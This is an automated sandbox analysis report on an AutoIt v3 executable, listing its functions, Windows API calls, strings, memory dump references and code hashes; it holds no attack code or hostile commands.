Part of subcall function 00007FF629213D90: RegisterWindowMessageW.USER32 ref: 00007FF629213E2A
Part of subcall function 00007FF629213D90: InitCommonControlsEx.COMCTL32 ref: 00007FF629213E48
Part of subcall function 00007FF629213D90: ImageList_Create.COMCTL32 ref: 00007FF629213E63
Part of subcall function 00007FF629213D90: LoadIconW.USER32 ref: 00007FF629213E7C
Part of subcall function 00007FF629213D90: ImageList_ReplaceIcon.COMCTL32 ref: 00007FF629213E8F

Strings

AutoIt v3, xrefs: 00007FF629213C3F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: AutoIt v3
API String ID: 423443420-1704141276
Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction ID: fcf2a3954c86826a22fdc48f11cb8c999a38a1fdbd9d984442625363d00609d5
Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction Fuzzy Hash: D131F336A19B028AFB408F51FD847A933B8BB88758F500539C98DA7B54DF7DD058E741

Function 00007FF629257348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF629257078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6292570B9
Part of subcall function 00007FF629257078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629257136
Part of subcall function 00007FF629257078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629257187

CreateFileW.KERNELBASE ref: 00007FF629257449
CreateFileW.KERNEL32 ref: 00007FF6292574A5
GetLastError.KERNEL32 ref: 00007FF6292574D9
GetFileType.KERNELBASE ref: 00007FF6292574EE
GetLastError.KERNEL32 ref: 00007FF6292574F8
CloseHandle.KERNEL32 ref: 00007FF62925752B
CloseHandle.KERNEL32 ref: 00007FF629257684
CreateFileW.KERNEL32 ref: 00007FF6292576BC
GetLastError.KERNEL32 ref: 00007FF6292576CB

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction ID: 6fb27800014023972c3870c02a85236205eab2cc1f33bf070ce4443b58852e3a
Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction Fuzzy Hash: 1CC1DF32B2AA418AFF148F64DA417AC3765EB88BA8F011235DE1E9B7D9CF38D415D301

Function 00007FF6292225BC Relevance: 12.4, APIs: 8, Instructions: 442
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 00007FF6292226DA
timeGetTime.WINMM ref: 00007FF6292228BC
PeekMessageW.USER32 ref: 00007FF6292229E3
TranslateMessage.USER32 ref: 00007FF629222A23
DispatchMessageW.USER32 ref: 00007FF629222A2D
PeekMessageW.USER32 ref: 00007FF629222A47

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Message$Peek$DispatchInputStateTimeTranslatetime
String ID:
API String ID: 3249950245-0
Opcode ID: 592d7a876f7eaf99a75d42bee1a6f7112143a810f451e316f773c590355efee6
Instruction ID: 264180818a4e029283125311544bb56030419614f7d26c47c1bb98d7daad593b
Opcode Fuzzy Hash: 592d7a876f7eaf99a75d42bee1a6f7112143a810f451e316f773c590355efee6
Instruction Fuzzy Hash: 75227D32E2E68286FF688F21DE803B977A0FB85B44F544135DA4D82A95CF3DE445E742

Function 00007FF629213CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00007FF629213D0C
CreateWindowExW.USER32 ref: 00007FF629213D5F
ShowWindow.USER32 ref: 00007FF629213D75

Strings

edit, xrefs: 00007FF629213D18
AutoIt v3, xrefs: 00007FF629213CC8
d, xrefs: 00007FF629213CF4

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$Create$Show
String ID: AutoIt v3$d$edit
API String ID: 2813641753-2600919596
Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction ID: 0b4954e3e81ab6e5b20a58f60520d339fd3e5fc6fad8d2d8e9b56c6bcc06c94d
Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction Fuzzy Hash: C8212972A2CB4186EB50CF10F88872A77F0F789799F114238E68D866A4CFBDD145DB05

Function 00007FF629217EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF629232D5C: MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232D8E
Part of subcall function 00007FF629232D5C: MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232D9C
Part of subcall function 00007FF629232D5C: MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232DAC
Part of subcall function 00007FF629232D5C: MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232DBC
Part of subcall function 00007FF629232D5C: MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232DCA
Part of subcall function 00007FF629232D5C: MapVirtualKeyW.USER32(?,?,?,00007FF629217FA5), ref: 00007FF629232DD8

Part of subcall function 00007FF62922EEC8: RegisterWindowMessageW.USER32 ref: 00007FF62922EF76

GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62921106D), ref: 00007FF629218209
OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62921106D), ref: 00007FF62921828F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62921106D), ref: 00007FF62925D36A

Strings

AutoIt, xrefs: 00007FF629217F46

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: AutoIt
API String ID: 1986988660-2515660138
Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction ID: 6343eaa3c485391695399ef958b19a6e7b284d487833cda5c02aad2f84d1da53
Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction Fuzzy Hash: 76C1BC61D2AB8685FB40DF24EDC10B877A8FFD5780F50023AD49D926A1EF7CA154E782

Function 00007FF6292172C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00007FF62921739E
Shell_NotifyIconW.SHELL32 ref: 00007FF6292173AC
LoadStringW.USER32 ref: 00007FF62925CE12

Strings

Line: , xrefs: 00007FF62925CE52

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: IconLoadNotifyShell_Stringwcscpy
String ID: Line:
API String ID: 3135491444-1585850449
Opcode ID: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
Instruction ID: 02f78ff52b0aa2e9f209274b7a5b2197eeab6e35eacdde25016b41b76cc45098
Opcode Fuzzy Hash: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
Instruction Fuzzy Hash: B5418021A2A64696FF20DF20ED402F97365FBC6344F845031E68C8369ADF7DE618D742

Function 00007FF629213F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetOpenFileNameW.COMDLG32 ref: 00007FF62925BAA2

Part of subcall function 00007FF6292156D4: GetFullPathNameW.KERNEL32(?,00007FF6292156C1,?,00007FF629217A0C,?,?,?,00007FF62921109E), ref: 00007FF6292156FF

Part of subcall function 00007FF629213EB4: GetLongPathNameW.KERNELBASE ref: 00007FF629213ED8

Strings

AutoIt script files (*.au3, *.a3x), xrefs: 00007FF62925BA74
Run Script:, xrefs: 00007FF62925BA4D
au3, xrefs: 00007FF62925BA80

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
API String ID: 779396738-2360590182
Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction ID: ec0f8922c2c9ca5534650b134c768d3217ebd1414d0d6379b2cd5ac3b8a73946
Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction Fuzzy Hash: EF31AD3261AB8189FB10CF21EA401AD77A8FB89B84F584035DE8C87B5ADF3DD555D701

Function 00007FF629234610 Relevance: 4.6, APIs: 3, Instructions: 67timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6292172C8: wcscpy.LIBCMT ref: 00007FF62921739E
Part of subcall function 00007FF6292172C8: Shell_NotifyIconW.SHELL32 ref: 00007FF6292173AC

KillTimer.USER32 ref: 00007FF6292346A8
SetTimer.USER32 ref: 00007FF6292346BD
Shell_NotifyIconW.SHELL32 ref: 00007FF62927AAAD

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: IconNotifyShell_Timer$Killwcscpy
String ID:
API String ID: 3812282468-0
Opcode ID: 2d5799521ef17968f8bb941a14b0e5868efdfa1f9d153b0a91d36d331dc2bdb2
Instruction ID: 6e60cc1488a8c0c0cbca1e31746f2a100b9e85f6431b0c5d739a47c68e9c4623
Opcode Fuzzy Hash: 2d5799521ef17968f8bb941a14b0e5868efdfa1f9d153b0a91d36d331dc2bdb2
Instruction Fuzzy Hash: 9031D322A1E78287FF228F219A402B937A8E785F84F184076DE4D4B749CF2CD644D751

Function 00007FF629216F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF629216F52,?,?,?,?,?,?,00007FF62921782C), ref: 00007FF629216FA5
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF629216F52,?,?,?,?,?,?,00007FF62921782C), ref: 00007FF629216FD3
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF629216F52,?,?,?,?,?,?,00007FF62921782C), ref: 00007FF629216FFA

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction ID: bc72fe401ed94a08092034305d7dc3d6098c2c1f57456763e760c5d3ebeb780e
Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction Fuzzy Hash: 07218E33A2EB4187EB108F15EA4096E73A8FB99B84B441131DB8DC3B14DF3AE414DB01

Function 00007FF629239118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6292390FC), ref: 00007FF629239140
TerminateProcess.KERNEL32(?,?,?,00007FF6292390FC), ref: 00007FF62923914B
ExitProcess.KERNEL32 ref: 00007FF62923915A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction ID: 3c346f0234b514603dc149771bae2db6c5d54164426368dfd068c3857e62e646
Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction Fuzzy Hash: D0E0E524B2A70182FF44AF709E896BA3256AFC9B41F015038CC4A92392CF2DE448A212

Function 00007FF6292266C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF629226C05

Strings

CALL, xrefs: 00007FF629226BCE

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 24061c5982f2d3e817e045593c76e51459b54cde2f485c3431a9fa5c614c0b1a
Instruction ID: 4ea078b364f219af762b625650c1d568d5caa4c5e706a63591c41c1a1579452e
Opcode Fuzzy Hash: 24061c5982f2d3e817e045593c76e51459b54cde2f485c3431a9fa5c614c0b1a
Instruction Fuzzy Hash: 37227B32E2A6428AFF10DF64DA402BC37A1FB84B88F504536DA4D97B95CF39E855D342

Function 00007FF629216460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629216D64: LoadLibraryA.KERNEL32(?,?,?,00007FF629216490), ref: 00007FF629216D7B
Part of subcall function 00007FF629216D64: GetProcAddress.KERNEL32(?,?,?,00007FF629216490), ref: 00007FF629216D93

FreeLibrary.KERNEL32 ref: 00007FF6292164BA
LoadLibraryExW.KERNELBASE ref: 00007FF6292164E4

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 4148032de61d84ae77990a54cc2b1f6886a047abe3d4ed031ab241bf62c2a7ff
Instruction ID: 7de3b5d8149e33b39895c108a864263f789eb9190614ab65d58b9410d5fe37be
Opcode Fuzzy Hash: 4148032de61d84ae77990a54cc2b1f6886a047abe3d4ed031ab241bf62c2a7ff
Instruction Fuzzy Hash: 71417E22B26A5296FF20DF25DD403BC33A0EB85B88F454131EA0D8769ADF3DD458D742

Function 00007FF629216258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF629216350

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction ID: e8e04658a3fcc1708ee8a888b1442d1c4db4873cbb4a660920861df1b3996e75
Opcode Fuzzy Hash: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction Fuzzy Hash: 83419C32A1AB8586FB518F11E9803AD33A8FB89B88F040035EA4C87789CF7DD150D711

Function 00007FF629213730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00007FF629213756

Part of subcall function 00007FF629239334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629239348

Part of subcall function 00007FF6292136E8: SystemParametersInfoW.USER32 ref: 00007FF629213705
Part of subcall function 00007FF6292136E8: SystemParametersInfoW.USER32 ref: 00007FF629213725

Part of subcall function 00007FF6292137B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF629213785), ref: 00007FF6292137F2
Part of subcall function 00007FF6292137B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF629213785), ref: 00007FF629213807
Part of subcall function 00007FF6292137B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF629213785), ref: 00007FF62921388D
Part of subcall function 00007FF6292137B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF629213785), ref: 00007FF629213924

SystemParametersInfoW.USER32 ref: 00007FF629213797

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
String ID:
API String ID: 4207566314-0
Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction ID: 3830ae604a77dd43ed88a6bafa74ff19b3ad37e2935041f21ece0a477aac4ba3
Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction Fuzzy Hash: AA014B70E2E2428AFF149F61AE801B53291AFC5300F040075D40CD72A2DF3DB494E706

Function 00007FF62924B3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF62924B3D6
GetLastError.KERNEL32 ref: 00007FF62924B3E8

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction ID: d45f14648723db9acf6ae7b9533fd43ad7fbb9184d177841361c3f1f5cc28633
Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction Fuzzy Hash: 02E08C10E3F14382FF08AFB39E084783695AFC8B40B445034C90EC6292EF2CE4856F02

Function 00007FF6292504B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF62925051B
GetLastError.KERNEL32 ref: 00007FF629250525

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction ID: e346fa942c6e0fc79e8163d9aae243904a4c94bab1a1198e468d0d67c675125a
Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction Fuzzy Hash: 2611B651B6E68241FEA89F64AF9437D32C15FD4764F081134DA2EC63D6DF6CE844A603

Function 00007FF6292720D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF6292720E2

